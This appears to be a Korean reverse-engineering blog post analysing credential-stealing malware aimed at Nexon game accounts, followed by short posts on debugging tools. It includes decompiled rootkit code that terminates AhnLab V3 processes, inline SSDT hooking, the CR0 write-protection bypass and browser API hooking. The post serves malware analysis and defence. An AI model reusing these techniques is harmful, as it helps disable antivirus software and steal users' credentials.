한가지 웃긴게  중국 해커놈들이 요즘 대부분의 보안업체나 악성코드 분석가들이 이러한 종류의 악성코드들이 system32 경로에 뿌려지는것에 익숙해졌다고 판단해서,
이제 GetWindowsDirectory 호출을 해서  Windows Path를 얻어온뒤 , strcat으로 system 경로를 추가시킵니다.
즉 , C:\Windows\system  경로에다가 악성코드를 뿌리는것이지요.
그리고 DLL파일의 형태가 아닌 DAT파일과  log 파일로 뿌리는것을 확인할 수 있습니다.
이것은 일부 백신에서 EXE파일과 DLL파일 패턴의 위주로 빠르게 검사하는 알고리즘을 회피하기 위한 목적입니다.

(참고로  DLL을 DAT로 뿌린다고 해서 실행에는 아무런 문제가 없습니다. LoadLibrary 호출 후 GetProcAddress를 호출하는건 마찬가지로 정상작동 됩니다..)



------------핵심 파일들에 대한 간단한 분석------------
* 위 파일 목록에서 Exewen.exe  파일은  최초 유포파일인 godsan.exe와 100% 동일한 파일입니다.

* Lin.log 파일은  godsan.exe 파일의 PE헤더에서 MZ문자열을 ML 이라는 문자열로 바꿔버려서 PE파일이 아닌것처럼 속이기 위해서 저장된 파일입니다. 그 뒤에 Lin.log 파일을 Exewen.exe 라는 파일로 자기복제를 수행합니다.
이러한 작업의 수행은 Baidog.dat 파일 내부에서 이뤄집니다.
  이것또한 백신의 탐지를 우회하기 위해서 이런짓을 하는것으로 보여집니다.

* Baidog.DAT 파일이 실질적인 계정 유출을 담당하는 파일이며, 원래는 DLL 파일입니다.

* Lcomres.Dat 파일은 PE헤더 문자열이 ML로 조작되어져 있는 Exewen.exe 파일을 MZ문자열로 바꾸는 기능을 가지고 있습니다.

* Sting.log 파일은 MS윈도우 커널에 루트킷 드라이버를 로드시키기 위한 SYS 파일입니다.






2.  리버스 엔지니어링을 방지하기 위한 Code Obfuscation(코드 난독화)
거창하게 난독화 기법이 적용된건 아니고 , 중간중간에 조금씩 적용시켜놨네요.
마치 Themida SDK에서 제공하는 매크로 함수 형태처럼 적용시켜놓은것 같군요.
어찌됐건 저러한 난독화 기법이 분석하는데 영향을 줄 정도는 아닙니다.
분명한것은 , 이전 버젼의 이러한 악성코드는 난독화 기법은 쓰지않았었는데 , 최근 샘플은 좀 업그레이드 됐군요.


3. 윈도우 메시지 훅 프로시저 설치 - DLL Injection

Baidog.DAT파일을 LoadLibraryA -> GetProcAddress (Export된 Function Address를 구해옴) -> 전역 함수포인터에 주소를 저장
-> 전역 함수 포인터 호출


Export Function의 이름은 KaiShi 라는 이름의 함수였습니다.
KaiShi가 중국어 같은데 무슨말일까요?   - Kaishi : 시작하다 - 
KaiShi 함수는 윈도우메시지 훅 프로시저를 설치합니다. 유저 프로세스에 전역적으로 Baidog.Dat 를 인젝션을 하겠다는 목적이죠.



그럼 이제 Baidog.Dat 파일을  살펴봅시다.


여기서부터 Ahnlab의 V3라이트가 어떤방식으로 무력화 되는지에 대해서 다룹니다.

1. 루트킷 설치

Sting.log
이라는 놈을 sysnames.sys 라는 파일로 C:\Windows\system\에다가 복사한 뒤,
커널 드라이버를 로드합니다. 그 후 sysnames.sys 파일은 삭제시킵니다.

sysnames.sys  루트킷은  아래와 같이 SSDT Hooking의 역할을 수행합니다.



Hooking 타겟 Native API 함수는 아래와 같습니다.
NtOpenProcess
NtTerminateProcess


후킹된 부분을 디스어셈블 해보면 아래와 같습니다.

0: kd> u nt!NtOpenProcess
nt!NtOpenProcess:
805cd40a e941366878      jmp     sysnames+0xa50 (f8c50a50)
805cd40f 68c0c44d80      push    offset nt!ObWatchHandles+0x25c (804dc4c0)
805cd414 e87707f7ff      call    nt!_SEH_prolog (8053db90)
805cd419 33f6            xor     esi,esi                    (NtOpenProcess + 0x0F)
805cd41b 8975d4          mov     dword ptr [ebp-2Ch],esi
805cd41e 33c0            xor     eax,eax
805cd420 8d7dd8          lea     edi,[ebp-28h]
805cd423 ab              stos    dword ptr es:[edi]

NtOpenProcess 앞단을 따내서 자신의 드라이버영역으로 끌고오는것을 확인할 수 있습니다.
InterlockedExchange를 이용한  주소 교체 방식의 후킹을 수행하지않고, 인라인 후킹을 수행합니다.
이렇게 되면 SSDT Restore와  SSDT Hook에 구애받지 않고 , 원하는 목적을 수행할 수 있습니다.

점프된 영역을 디스어셈블 해보면 다음과 같습니다.
0: kd> u f8c50a50
sysnames+0xa50:
f8c50a50 68c4000000      push    0C4h
f8c50a55 8b358814c5f8    mov     esi,dword ptr [sysnames+0x1488 (f8c51488)]  esi = nt!ObWatchHandles+0x25c
f8c50a5b 56              push    esi
f8c50a5c ff159814c5f8    call    dword ptr [sysnames+0x1498 (f8c51498)]   원본 SEH설치 함수
f8c50a62 ff258c14c5f8    jmp     dword ptr [sysnames+0x148c (f8c5148c)]  NtOpenProcess+0xf 영역으로 점프
f8c50a68 cc              int     3
f8c50a69 cc              int     3
f8c50a6a cc              int     3

즉 , 이 코드의 최종흐름은 다음과 같습니다.
push 0x0c4
push    offset nt!ObWatchHandles+0x25c (804dc4c0)
call    nt!_SEH_prolog (8053db90)
xor     esi,esi                    (NtOpenProcess + 0x0F)
mov     dword ptr [ebp-2Ch],esi
............................

NtOpenProcess 후킹의 목적은 정보 가로챔등의 특별한 목적이 있는 후킹이 아니라,
Ahnlab의  SSDT Inline Hook을 무력화 하기 위해서 시행하는것으로 판단됩니다.
중국해커가 Ahnlab V3 Lite 의 정확한 분석을 통해서 드라이버를 작성한것으로 생각됩니다.


참고로 Ahnlab V3 Lite 나 HackShield 등에서 사용하고있는 NtOpenProcess 후킹방식은 
call nt!_SEH_prolog (8053db90) 부분을 Inline Patch 해서  보안모듈로 넘어오게끔 하는 방식으로 되어져 있습니다.


아래의 화면을 보시면 핵쉴드가 써먹는 NtOpenProcess 인라인 후킹 수법을 보여주고 있습니다.
원래 call    nt!_SEH_prolog (8053db90)  이 호출되어야 할 부분에서 EagleNT 모듈을 호출하는것을 확인할 수 있죠.
V3 백신도 이것과 동일하게 적용되어져 있습니다.





그런데 루트킷에 감염되게되면 다음과 같이 되죠.
스샷이 짤려서 보이게되면 , 클릭해서 보시면 됩니다.

보안프로그램에서 인라인 후킹해놓은 지점을 건너뛰어버립니다.
따라서 후킹하기전의 상태로 돌려놓는 것이 되버리죠.




다음은 NtTerminateProcess 입니다.
0: kd> u nt!NtTerminateProcess
nt!NtTerminateProcess:
805d49ac 8bff            mov     edi,edi
805d49ae 55              push    ebp
805d49af 8bec            mov     ebp,esp
805d49b1 83ec10          sub     esp,10h
805d49b4 53              push    ebx
805d49b5 56              push    esi
805d49b6 57              push    edi
805d49b7 64a124010000    mov     eax,dword ptr fs:[00000124h]
0: kd> u
nt!NtTerminateProcess+0x11:
805d49bd 837d0800        cmp     dword ptr [ebp+8],0
805d49c1 8bf8            mov     edi,eax
805d49c3 8b4744          mov     eax,dword ptr [edi+44h]
805d49c6 8945f0          mov     dword ptr [ebp-10h],eax
805d49c9 7406            je      nt!NtTerminateProcess+0x25 (805d49d1)
805d49cb c645ff01        mov     byte ptr [ebp-1],1
805d49cf eb08            jmp     nt!NtTerminateProcess+0x2d (805d49d9)
805d49d1 834d08ff        or      dword ptr [ebp+8],0FFFFFFFFh
0: kd> u
nt!NtTerminateProcess+0x29:
805d49d5 c645ff00        mov     byte ptr [ebp-1],0
805d49d9 8a8740010000    mov     al,byte ptr [edi+140h]
805d49df 6a00            push    0
805d49e1 8845f8          mov     byte ptr [ebp-8],al
805d49e4 8d45f8          lea     eax,[ebp-8]
805d49e7 50              push    eax
805d49e8 ff75f8          push    dword ptr [ebp-8]
805d49eb ff35b8595680    push    dword ptr [nt!PsProcessType (805659b8)]
0: kd> u
nt!NtTerminateProcess+0x45:
805d49f1 e97ac06778      jmp     sysnames+0xa70 (f8c50a70)
805d49f6 e8a58afeff      call    nt!ObReferenceObjectByHandle (805bd4a0)
805d49fb 85c0            test    eax,eax
805d49fd 8b75f8          mov     esi,dword ptr [ebp-8]
805d4a00 8bde            mov     ebx,esi
805d4a02 0f8ce8000000    jl      nt!NtTerminateProcess+0x144 (805d4af0)
805d4a08 8d8648020000    lea     eax,[esi+248h]
805d4a0e f6400120        test    byte ptr [eax+1],20h

ObReferenceObjectByHandle을 호출하기전에  자신의 드라이버로 건너뛰게 패치되어져 있습니다.
즉 , Ahnlab V3 라이트에서는  
call   nt!ObReferenceObjectByHandle (805bd4a0) 부분을 Inline Hook 작성해놨을 가능성이 크다는거죠.

결론적으로 NtOpenProcess와  NtTerminateProcess를 후킹하는목적은
Ahnlab V3 Lite의  자가보호 기능을 무력화 시키기 위함입니다.

강제 종료 로직은 , 유저모드 DLL에서 수행하는것이 아닌 , 커널모드 루트킷에서 강제종료를 수행하는것으로 분석되었습니다.
(나중에 해당 로직이 나옵니다.)


해커에게 표적이 된 프로세스 목록은 다음과 같습니다.

 'V3LTray.exe'
 'KSWebShield.exe'
'SgSvc.exe'
 'V3LSvc.exe'
 'V3Light.exe'


참고로 이 악성코드에 감염되게 되면 , 현재 V3 라이트가 실행중이라면 V3 라이트 가 종료되게 되고,
V3 라이트가 시스템에 설치되어져 있지않은 상태에서 , V3 라이트를 설치해서 실행하려고 하면
V3 라이트와 사이트가드 관련 서비스는 실시간으로 모두 강제 종료되게되서 , 전혀 작동하지 않는 상태가 됩니다.


 
이제 프로세스를 어떻게 강제로 종료시키는지, 해당 부분을 알아봅시다.
아래는 강제종료에 관련한 코드를  IDA Hexray를 이용해서 나타낸 것입니다.

(참고 : 아래 부분은 PsSetCreateProcessNotifyRoutine에 의해서 프로세스 생성 , 종료시 호출되는 NotifyRoutine으로 등록된 부분의 핵심부분을 나타낸겁니다.)


result = PsLookupProcessByProcessId(a2, &v9);
    if ( result >= 0 )
    {
      if ( v9 )
      {
        v4 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v4, "V3LTray.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v5 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v5, "KSWebShield.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v6 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v6, "SgSvc.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v7 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v7, "V3LSvc.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v8 = (const char *)PsGetProcessImageFileName(v9);
        result = stricmp(v8, "V3Light.exe");
        if ( !result )
        {
          dword_11490 = a2;
          result = PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }

해당 프로세스를 발견하면  시스템쓰레드를 생성해서 특정한 작업을 수행합니다.
StartRoutine을 살펴보니 다음과 같았습니다.


NTSTATUS __stdcall StartRoutine(int a1)
{
  sub_10A90(5000);
  sub_10D10((void *)dword_11490);
  return PsTerminateSystemThread(0);
}
NTSTATUS __stdcall sub_10A90(int a1)
{
  LARGE_INTEGER Interval; // [sp+0h] [bp-8h]@1

  Interval = (LARGE_INTEGER)(-10000i64 * a1);
  return KeDelayExecutionThread(0, 0, &Interval);
}
NTSTATUS __stdcall sub_10D10(void *a1)
{
  OBJECT_ATTRIBUTES ObjectAttributes; // [sp+4h] [bp-28h]@1
  void *v3; // [sp+1Ch] [bp-10h]@1
  CLIENT_ID ClientId; // [sp+20h] [bp-Ch]@1
  HANDLE Handle; // [sp+28h] [bp-4h]@1

  Handle = 0;
  v3 = a1;
  ObjectAttributes.Length = 24;
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.Attributes = 0;
  ObjectAttributes.ObjectName = 0;
  ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;
  ClientId.UniqueProcess = a1;
  ClientId.UniqueThread = 0;
  if ( !NtOpenProcess(&Handle, 0x1F0FFFu, &ObjectAttributes, &ClientId) )
    ((void (__stdcall *)(_DWORD, _DWORD))dword_11494)(Handle, 0);
  return ZwClose(Handle);
}

위 코드에서 주목해야할 부분은 
    ((void (__stdcall *)(_DWORD, _DWORD))dword_11494)(Handle, 0);
부분입니다.

NtOpenProcess를 먼저 호출한뒤에 , NtOpenProcess가 성공한다면 STATUS_SUCCESS (0x00000000L) 이 리턴될것이고

그러면 dword_11494의 함수포인터를 호출하겠죠.
dword_11494가 무엇인지 확인해보기 위해서  코드 레퍼런스를 추적해보니  다음과 같은 디스어셈블 코드가 나왔습니다.
mov     edx, ds:KeServiceDescriptorTable
mov     eax, [edx]
add     eax, 404h

mov     [ebp+var_C], eax
mov     ecx, [ebp+var_C]
mov     edx, [ecx]
mov     dword_11494, edx


위 코드의 의미를 WinDBG에서 먹히는 명령어로 변환해보면 다음과 같습니다.
0: kd> dds poi(KeServiceDescriptorTable) + 0x404
80506864  805d49ac nt!NtTerminateProcess
80506868  805d4ba6 nt!NtTerminateThread
8050686c  805d6c0c nt!NtTestAlert
80506870  80537108 nt!NtTraceEvent
80506874  8061811e nt!NtTranslateFilePath
80506878  805862ce nt!NtUnloadDriver
8050687c  80624062 nt!NtUnloadKey
80506880  8062427c nt!NtUnloadKeyEx

0: kd> r $t0 = poi(KeServiceDescriptorTable) + 0x404
0: kd> r $t1 = poi(@$t0)

0: kd> u @$t1
nt!NtTerminateProcess:
805d49ac 8bff            mov     edi,edi
805d49ae 55              push    ebp
805d49af 8bec            mov     ebp,esp
805d49b1 83ec10          sub     esp,10h
805d49b4 53              push    ebx
805d49b5 56              push    esi
805d49b6 57              push    edi
805d49b7 64a124010000    mov     eax,dword ptr fs:[00000124h]

0: kd> r $t2 = poi(@$t1)
0: kd> r $t2
$t2=8b55ff8b  (Byte 참조 순서가 거꾸로인 이유는  IA-32 Compatible CPU는  Little Endian 방식의 메모리 참조를 하기 때문.)


자...이제 아시겠죠?
NtTerminateProcess를 커널모드에서도 호출하고 있음을 명확하게 확인할 수 있습니다.
0x404는  서비스넘버를 하드코딩한것으로 보입니다.
PsGetVersion을 호출해서 OS별로 서비스넘버를 하드코딩한게 아니라 ,
그냥  MS WindowsXP SP3 버젼을 기준으로 해서 서비스넘버를 하드코딩 한것으로 보입니다.
따라서 이 악성코드는  윈도우XP 서비스팩3 버젼이 아닌, 다른 버젼의 NT OS(Vista , 7 , XP SP2 등) 에서 실행했을 경우,
또는 다른 커널모드 보안 드라이버와 충돌할 경우  ,블루스크린이 발생할 가능성이 있습니다.



결과적으로 이 로직의 순서는 다음과 같습니다.

PsSetCreateProcessNotifyRoutine을 호출하여 , NotifyRoutine을 설치해둠.
( 프로세스 생성과 종료시 , NotifyRoutine이 실행됨)

- 아래 내용은 프로세스가 생성, 종료될때마다 실행됩니다. (NotifyRoutine) -

1. PsLookupProcessByProcessId를 호출해서 해당 프로세스의 PEPROCESS를 얻어오고, 
PEPROCESS를 인자로 넘기면서 PsGetProcessImageFileName을 호출하여 V3 관련 프로세스가 실행중인지 확인.

2. 타겟 프로세스가 발견되면 특정 목적을 수행하는 시스템쓰레드를 생성.

3. 시스템쓰레드는 KeDelayExecutionThread를 호출해서 약 5초간 쓰레드 실행을 지연시킴.

4. NtOpenProcess를 호출하여, 성공하면 핸들을 반환.(이미 후킹되어져 있기때문에 거의 성공함)

5. HANDLE값과 ExitCode 값 0을 인자로 넘기면서 , NtTerminateProcess를 호출하여  해당 프로세스 종료.

6. ZwClose를 호출해서 Usage Count를 내림.

7. 시스템쓰레드 자동 폭파.

이상으로 , 이 악성코드에서  V3관련 프로세스를 때려부수기 위한 로직은 대충 파악을 끝낸것 같습니다.




아참 , 그리고 SSDT에 수정을 가하기 위해서
MDL을 쓰느냐  , CR0 Hook을 쓰느냐  궁금해하실 분들이 계실수도 있는데,
이 루트킷에서는 CR0 Hook 방식을 사용하더군요.
정확히 말하자면  Intel IA-32 CPU의 Control Register 0번의  Write Protection Bit를  1에서 0으로 조작하는 형태입니다.
이 작업을 수행하는 코드는 이미 널리 알려진대로 다음과 같습니다.
  PUSH EAX
  MOV EAX,CR0
  AND EAX,0xFFFEFFFF
  MOV CR0,EAX
  POP EAX

참고로 이 드라이버는 아주 더럽게도  DriverUnload에 어떠한 언로드 코드도 넣어두지 않고 있습니다.
완전 더러운놈들이죠...드라이버 언로드 되도 끝까지 살아남겠다는 그 의지!
DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_11170;
void __stdcall sub_11170(int a1)
{
  ;
}
이런 더러운 놈들!



& Baidog.dat 추가적인 정보 &

* v3ltray.exe가 윈도우 부팅 시 자동으로 실행되지 않게끔 레지스트리에서 값을 제거하는 기능을 가지고 있음.





여기서부터는 넥슨ID와 비밀번호가 어떻게 탈취되는지에 대해서 다룹니다.




*  WININET.DLL에서 제공하는 함수인  HttpSendRequestA와  HttpSendRequestW 함수를 후킹해서
넥슨 홈페이지에 ID와 비밀번호를 입력해서 로그인할때 , ID와 비밀번호를 훔쳐내는 기능을 가지고 있음.


아래는 API Inline 후킹된 모습을 나타내는 스샷입니다.
First Bytes를 Inline Patch해서  해커가 코딩한 영역으로 끌고오는 모습을 확인할 수 있습니다.



넥슨 홈페이지에 접속해서
ID에다가  THIS_IS_ID
Password 에다가 THIS_IS_PASS
라고 치고  로그인을 해보겠습니다.



고스란히  Baidog.dat 메모리 영역에  ID와 비밀번호가 찍히고 있는 모습을 확인할 수가 있습니다.
strNexon ID= 라는 문자열과  strPassword= 라는 문자열이 있는것으로 봐서  철저히 패턴 위주로 문자열을 탐색하고 있음을 짐작해볼 수 있습니다.
저 부분에 엑세스하는 모든 주소를 캡쳐해보았는데 , 브포가 걸린 지점에서 콜스택을 확인해보니 다음과 같이 나왔습니다.


0x10003488 주소에 대해서 RtlZeroMemory를 수행하던 도중에 , 중지되었습니다.

콜 스택을 확인해보니 , 다음과 같이 전개되었음을 유추할수 있겠네요.

로그인버튼 누름 ->IE에서 아이디와 비밀번호를 인자로 전달하여 , HttpSendRequestW 호출 -> HttpSendRequestW에서 해커가 코딩한 영역으로 점프함  -> 아이디와 비밀번호를 저장하는영역(배열) 을 RtlZeroMemory 를 호출해서 0으로 초기화 시킴.  -> 해당 영역을 가로챈 아이디와 비밀번호로 채움.   


HttpSendRequestW 함수가 호출되면서 인자로 strNexonId와  strPassword가 전달됨을 확인할 수 있습니다.
그런데 HttpSendRequestW는 현재 API Inline Hook 된 상태입니다.
당연히 해커가 작성한 프로그램영역으로 넘어오겠죠?
해커는 굴러들어온 인자를 적절히 문자열 컨트롤만 해주면 됩니다.
즉 , 넥슨사이트의 ID와 비밀번호 전송 알고리즘 부분은 이미 중국해커에게 모두다 분석 당한 상태이고,
중국해커는 그 부분을 이용해서 손쉽게 넥슨ID와 비밀번호를 털어내가고 있는것입니다.

위와같이 정보를 빼가는 방식은  키보드보안이나 개인방화벽의 작동여부와는 일백퍼센트 무관한 경우입니다.


결국엔 이 악성코드에 감염되고 나서 , 게임을 접속하지않고 ,  
IE를 이용해서 넥슨 관련 모든 홈페이지에 로그인 접속만 하면
넥슨계정은 털리게 될것입니다.


넥슨은 이쯤에서  사이트 리모델링을 해야될 필요성이 있습니다.
아니 , 어찌보면 우리나라가 인터넷익스플로러에 찌들었다는게 참 안타까운 현실입니다..........




** 추가정보 **
HttpSendRequestA , HttpSendRequestW 의 후킹 여부를 탐지해주는 프로그램





악성코드에 관한 정보는  많은분들께 도움이 됐으면 좋겠습니다.  (특히나 온라인게임 업계 종사자분들께)





// 2010.4.17 내용 추가


PS2. 이 글 내용과 제목이 뭔가 오해를 불러일으킬만한 소지가 있는것 같네요.
즉 , 이 글을 놓고봤을때 , 넥슨의 아이디와 비밀번호 전송 부분이 분석당해서 넥슨 계정이 대량으로 털리고있으니, 이건 넥슨 잘못이다,  라고  치부해버리는 분들이 계시는데,

여기서 저의 생각을 대략 말씀드리면

이 모든것의 시작은 악성코드 감염으로 인해서 이루어지는것이므로 ,
1차적인 책임은 유저들에 있습니다. (개인부주의로 인한 - 각종 인터넷습관 등)
무작정 넥슨의 책임으로 몰아가기에는 무리가 있다는 말입니다.
해커는 단지 사용자들이 악성코드에 감염되길 바라고 있을뿐입니다.




//2010. 6. 3 내용 추가
위 내용대로 HttpSendRequestA와  HttpSendRequestW의 후킹을 이용해서 
ID와 비밀번호를 탈취하는것은 이제 막혔습니다.
아이디와 비밀번호를 암호화해서 전송하는 방식으로 바뀌었습니다.
따라서 , 이 암호화부분이 분석되기전까지는 API 후킹을 통한 넥슨계정탈취 수법은 통하지 않을겁니다.
저작자 표시 비영리 변경 금지
신고

'Reverse Engineering' 카테고리의 다른 글

flo`s Notepad2 4.1.24  (1) 2010.04.04
AT4RE JOINER 4.0  (5) 2010.04.04
넥슨 온라인게임 악성코드에 관한 분석  (89) 2010.03.25
W32Dasm 10.0  (0) 2010.02.04
Kernel Detective 1.3.1  (5) 2010.01.23
모 온라인 게임 보안 프로그램이 후킹하는 SDT 함수들  (6) 2009.12.21
by Sone 2010.03.25 23:47

List of new features:

1, custom syntax highlight colors, highlight certain keywords can use color display, Good!
2, can increase the manual notes, similar to IDA, the Notes can copy, save. Analysis and more convenient to write the article break!
3, enhanced search, find!
4, the command line!
5, the latest increase in the use of the file list!
6, a practical rapid editing features, you can replace the HEX editor! Cool:)
7, increased repair code compilation (Permenant Patcher)!
8, to open the current anti-compilation write!
9, Benban that two windows can not show the normal BUG.
10, in the compilation of the window display shows that anti-Chinese!
11, the string-reference data to extract Chinese string!
12, support VB / DELPHI string of extraction, can customize the VB_patch open and close!

Add hot keys:

To the current line Notes:;
Withdrawal of the last Jump: ESC


저작자 표시 비영리 변경 금지
신고
by Sone 2010.02.04 14:27
Arab Team 4 Reverse Engineering  에서 Kernel Detective라는 툴을 새롭게 내놓았습니다.
사실 배포된지는 꽤 됐죠.




기능을 살펴보면 , 

- 프로세스,쓰레드 정보 조회( 숨겨진 정보까지 탐지 가능 )
- KPROCESS , KTHREAD, 조회 가능
-  KeServiceDescriptorTable , KeServiceDescriptorTableShadow 변경 여부 조회 가능
- 쓰레드별로 , SSDT , SSDT SHADOW  Change , Restore 가능 ( SSDT Relocation 탐지 가능)
- IDT 조회 가능
- 핸들 조회&닫기 가능
- Kernel Modification 탐지 가능
- Driver 조회&언로드 가능
- 올리디버거 디스어셈블 엔진 내장 (모듈, 드라이버, 쓰레드, 프로세스,  특정 어드레스의 디스어셈블 가능, 실시간 Read/Write 지원)
- DebugView 지원


이건 뭐 딱 봐도 기능들이 초강력한것을 알수 있습니다.
커널모드로 작동하는 왠만한 보안프로그램은 저리가라 수준이네요.
역시나 창과 방패의 대결은 영원히 지속되는군요...(이번엔 방패측에서 조금 고생할수도....)




위 스샷은  카스퍼스키 안티 바이러스 2010  필터 드라이버에서  SSDT와  SSDT SHADOW 를 후킹하고있는것을 탐지한 모습입니다.
네이트온 원격제어로  카스퍼스키 화면을 컨트롤하려고 했을때 , 화면 조작이 되지않는 이유가 , 바로 SSDT Shadow를 후킹하고있기 때문이죠~

저작자 표시 비영리 변경 금지
신고
by Sone 2010.01.23 00:15
시험도 끝났고 , 본격적으로 삽질의 삽질 연구를 이리저리 거듭하고 공부해볼까~  하던 중
갑자기 생각나는 그 무언가가 있었으니.......

뭐 엄청난건 아니고 ,  간단한건데 그냥 개인적으로 매우 궁금했던터라.....
바로 시작해보았다.


모 온라인게임 보안프로그램에서 어떤 방식으로 SDT 함수들을 후킹해서 다른 악의적인 프로그램의 접근을 막을까, 궁금했던터라 한번 살펴보기로 했다.
결과적으로는 의외로 KiServiceTable 에서 후킹하고있는 함수의 목록은 그다지 많지 않았다.

먼저 서비스테이블을 한번 살펴보자.
이상하게도  눈으로만 일단 보면  보안프로그램에서 후킹을 하고있는 서비스는 아무것도 없어보인다.

0: kd> $$><myscript\kiservicetable.txt
80506460  805a6614 nt!NtAcceptConnectPort
80506464  805f2aea nt!NtAccessCheck
80506468  805f6320 nt!NtAccessCheckAndAuditAlarm
8050646c  805f2b1c nt!NtAccessCheckByType
80506470  805f635a nt!NtAccessCheckByTypeAndAuditAlarm
80506474  805f2b52 nt!NtAccessCheckByTypeResultList
80506478  805f639e nt!NtAccessCheckByTypeResultListAndAuditAlarm
8050647c  805f63e2 nt!NtAccessCheckByTypeResultListAndAuditAlarmByHandle
80506480  806173ce nt!NtAddAtom
80506484  80618110 nt!NtSetBootOptions
80506488  805edee8 nt!NtAdjustGroupsToken
8050648c  805edb40 nt!NtAdjustPrivilegesToken
80506490  805d6b48 nt!NtAlertResumeThread
80506494  805d6af8 nt!NtAlertThread
80506498  806179f4 nt!NtAllocateLocallyUniqueId
8050649c  805b7f80 nt!NtAllocateUserPhysicalPages
805064a0  80617010 nt!NtAllocateUuids
805064a4  805aaa9e nt!NtAllocateVirtualMemory
805064a8  805b2594 nt!NtAreMappedFilesTheSame
805064ac  805d860c nt!NtAssignProcessToJobObject
805064b0  8050389c nt!NtCallbackReturn
805064b4  80618102 nt!NtCancelDeviceWakeupRequest
805064b8  80578ae6 nt!NtCancelIoFile
805064bc  8053abe2 nt!NtCancelTimer
805064c0  806105de nt!NtClearEvent
805064c4  805be4fa nt!NtClose
805064c8  805f685a nt!NtCloseObjectAuditAlarm
805064cc  80625382 nt!NtCompactKeys
805064d0  805fad6a nt!NtCompareTokens
805064d4  805a6d02 nt!NtCompleteConnectPort
805064d8  806255d6 nt!NtCompressKey
805064dc  805a65b4 nt!NtConnectPort
805064e0  80546e7c nt!NtContinue
805064e4  80643ea8 nt!NtCreateDebugObject
805064e8  805c04aa nt!NtCreateDirectoryObject
805064ec  8061062e nt!NtCreateEvent
805064f0  80618986 nt!NtCreateEventPair
805064f4  8057b084 nt!NtCreateFile
805064f8  8057aa62 nt!NtCreateIoCompletion
805064fc  805d75d0 nt!NtCreateJobObject
80506500  805d7308 nt!NtCreateJobSet
80506504  806257b2 nt!NtCreateKey
80506508  8057b192 nt!NtCreateMailslotFile
8050650c  80618d7e nt!NtCreateMutant
80506510  8057b0be nt!NtCreateNamedPipeFile
80506514  805ad9d2 nt!NtCreatePagingFile
80506518  805a70d0 nt!NtCreatePort
8050651c  805d31fa nt!NtCreateProcess
80506520  805d3144 nt!NtCreateProcessEx
80506524  8061919e nt!NtCreateProfile
80506528  805ad3ac nt!NtCreateSection
8050652c  8061672e nt!NtCreateSemaphore
80506530  805c59c4 nt!NtCreateSymbolicLinkObject
80506534  805d2fe2 nt!NtCreateThread
80506538  8061864e nt!NtCreateTimer
8050653c  805fb112 nt!NtCreateToken
80506540  805a70f4 nt!NtCreateWaitablePort
80506544  80644f84 nt!NtDebugActiveProcess
80506548  806450d4 nt!NtDebugContinue
8050654c  80618052 nt!NtDelayExecution
80506550  80617884 nt!NtDeleteAtom
80506554  80618102 nt!NtCancelDeviceWakeupRequest
80506558  80578c2c nt!NtDeleteFile
8050655c  80625c42 nt!NtDeleteKey
80506560  805f6966 nt!NtDeleteObjectAuditAlarm
80506564  80625e12 nt!NtDeleteValueKey
80506568  8057b24a nt!NtDeviceIoControlFile
8050656c  806146ac nt!NtDisplayString
80506570  805bffd2 nt!NtDuplicateObject
80506574  805eed96 nt!NtDuplicateToken
80506578  80618110 nt!NtSetBootOptions
8050657c  80625ff2 nt!NtEnumerateKey
80506580  806180f4 nt!NtEnumerateSystemEnvironmentValuesEx
80506584  8062625c nt!NtEnumerateValueKey
80506588  805b5ca0 nt!NtExtendSection
8050658c  805eef42 nt!NtFilterToken
80506590  80617638 nt!NtFindAtom
80506594  80578cf8 nt!NtFlushBuffersFile
80506598  805b8814 nt!NtFlushInstructionCache
8050659c  806264c6 nt!NtFlushKey
805065a0  805ae6e6 nt!NtFlushVirtualMemory
805065a4  805b87b6 nt!NtFlushWriteBuffer
805065a8  805b8322 nt!NtFreeUserPhysicalPages
805065ac  805b4f7c nt!NtFreeVirtualMemory
805065b0  8057b27e nt!NtFsControlFile
805065b4  805d34f4 nt!NtGetContextThread
805065b8  805ca64e nt!NtGetDevicePowerState
805065bc  8059b116 nt!NtGetPlugPlayEvent
805065c0  8052318a nt!NtGetWriteWatch
805065c4  805faa5e nt!NtImpersonateAnonymousToken
805065c8  805a715e nt!NtImpersonateClientOfPort
805065cc  805d97cc nt!NtImpersonateThread
805065d0  80623908 nt!NtInitializeRegistry
805065d4  805ca434 nt!NtInitiatePowerAction
805065d8  805d71cc nt!NtIsProcessInJob
805065dc  805ca63a nt!NtIsSystemResumeAutomatic
805065e0  805a736a nt!NtListenPort
805065e4  8058613a nt!NtLoadDriver
805065e8  806279ae nt!NtLoadKey
805065ec  806275ba nt!NtLoadKey2
805065f0  8057b2b2 nt!NtLockFile
805065f4  80614c9e nt!NtLockProductActivationKeys
805065f8  80625682 nt!NtLockRegistryKey
805065fc  805b891c nt!NtLockVirtualMemory
80506600  805c02a0 nt!NtMakePermanentObject
80506604  805be59e nt!NtMakeTemporaryObject
80506608  805b73e0 nt!NtMapUserPhysicalPages
8050660c  805b7930 nt!NtMapUserPhysicalPagesScatter
80506610  805b4004 nt!NtMapViewOfSection
80506614  80618102 nt!NtCancelDeviceWakeupRequest
80506618  8057beca nt!NtNotifyChangeDirectoryFile
8050661c  80627978 nt!NtNotifyChangeKey
80506620  806265c8 nt!NtNotifyChangeMultipleKeys
80506624  805c057c nt!NtOpenDirectoryObject
80506628  8061072e nt!NtOpenEvent
8050662c  80618a5e nt!NtOpenEventPair
80506630  8057c182 nt!NtOpenFile
80506634  8057ab3a nt!NtOpenIoCompletion
